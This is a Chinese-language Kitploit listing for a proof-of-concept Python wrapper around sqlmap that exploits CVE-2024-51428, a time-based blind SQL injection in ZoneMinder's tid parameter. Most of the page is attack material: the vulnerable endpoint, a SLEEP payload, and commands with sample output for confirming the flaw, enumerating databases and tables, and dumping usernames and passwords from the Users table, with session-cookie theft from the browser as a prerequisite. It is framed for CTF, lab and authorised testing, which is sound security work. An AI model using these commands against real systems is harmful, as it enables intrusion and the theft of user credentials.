Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2024-51428-PoC — Python 编写的包装器,利用 sqlmap 通过盲 SQL 注入来利用 ZoneMinder 中的 CVE-2024-51428,自动化枚举数据库、表及数据提取,并输出清晰的结果。 | Kitploit
工具/GitHubGitHub/d1se0/cve-2024-51428-poc
漏洞分析漏洞利用Web应用程序漏洞利用CTF渗透测试学习与教育
GitHubd1se0/cve-2024-51428-poc

CVE-2024-51428-PoC

Python 编写的包装器,利用 sqlmap 通过盲 SQL 注入来利用 ZoneMinder 中的 CVE-2024-51428,自动化枚举数据库、表及数据提取,并输出清晰的结果。

查看仓库
116个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-51428 - ZoneMinder SQL 盲注 PoC

针对 ZoneMinder 中 CVE-2024-51428 的 sqlmap Python 封装器。
该工具可自动检测和利用 SQL 盲注 漏洞,同时保持输出简洁,聚焦于有用的数据。

该脚本会隐藏 sqlmap 日志,仅显示相关信息,例如:

  • 检测到的注入点
  • 数据库名称
  • 数据表
  • 导出的凭据或敏感数据

这使得该工具非常适合 CTF 环境、演示和安全测试。


漏洞概述

CVE: CVE-2024-51428
类型: 盲 SQL 注入
受影响软件: ZoneMinder
攻击向量: HTTP GET 参数
参数: tid

漏洞存在于以下端点:

root@kitploit:~
/zm/index.php?view=request&request=event&action=removetag&tid=

tid 参数在被用于数据库查询之前未经过适当的过滤,允许攻击者注入 SQL 查询。

所使用的利用技术为 基于时间的盲 SQL 注入。

sqlmap 发现的示例载荷:

root@kitploit:~
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)

如果查询成功执行,该载荷会强制数据库休眠,从而确认 SQL 注入的存在。


功能特性

  • 自动 盲 SQL 注入检测
  • 数据库枚举
  • 数据表枚举
  • 数据表导出
  • 列过滤
  • 行过滤
  • 简洁输出(隐藏 sqlmap 日志)
  • 专为 CTF 和渗透测试实验室 设计

环境要求

  • Python 3
  • sqlmap

如有需要,请安装 sqlmap:

root@kitploit:~
sudo apt install sqlmap

使用方法

基本语法:

root@kitploit:~
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'

使用此命令检查目标是否存在漏洞

示例:

root@kitploit:~
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'

获取所需 Cookie

该利用工具需要一个有效的 ZoneMinder 会话 Cookie。

步骤:

  1. 在浏览器中打开目标
  2. 打开开发者工具
  3. 导航到:
root@kitploit:~
Application → Cookies
  1. 找到名为以下内容的 Cookie:
root@kitploit:~
ZMSESSID
  1. 复制其值并与 -c 一起使用

示例:

root@kitploit:~
-c '151fvdqmjkhnkfat7l5epgmd22'

检查目标是否存在漏洞

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE'

示例输出:

root@kitploit:~
[*] Checking vulnerability...

Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))

[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION

枚举数据库

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d

示例输出:

root@kitploit:~
available databases [3]:
information_schema
mysql
zm

枚举数据表

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm

示例输出:

root@kitploit:~
Database: zm

Users
Events
Monitors
Storage

导出数据表

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users

导出指定列

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username

示例:

root@kitploit:~
+----------+
| Username |
+----------+
| admin    |
| viewer   |
+----------+

过滤行(WHERE 子句)

可以使用以下参数过滤行:

root@kitploit:~
-ff <COLUMN> <VALUE>

示例:

root@kitploit:~
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark

等效的 SQL:

root@kitploit:~
WHERE Username='mark'

导出指定用户的密码

示例:

root@kitploit:~
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark

内部执行的 sqlmap 命令:

root@kitploit:~
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump

工具工作原理

该脚本充当 sqlmap 的封装器。

内部执行的步骤:

  1. 构建易受攻击的端点
root@kitploit:~
/zm/index.php?view=request&request=event&action=removetag&tid=1
  1. 将认证 Cookie 传递给 sqlmap
  2. 使用优化选项执行 sqlmap:
root@kitploit:~
--threads=10
--technique=T
--batch
  1. 实时解析 sqlmap 输出
  2. 过滤日志并仅显示:
  • 注入信息
  • 数据库
  • 数据表
  • 导出的数据

预期用途

该工具专为以下用途而创建:

  • Capture The Flag 挑战
  • 安全研究
  • 教育目的
  • 渗透测试实验室

免责声明

本项目仅供教育和授权安全测试之用。

作者不对任何滥用本工具的行为负责。

在测试任何系统之前,请务必获得适当授权。


作者

安全研究 / CTF 工具

下载工具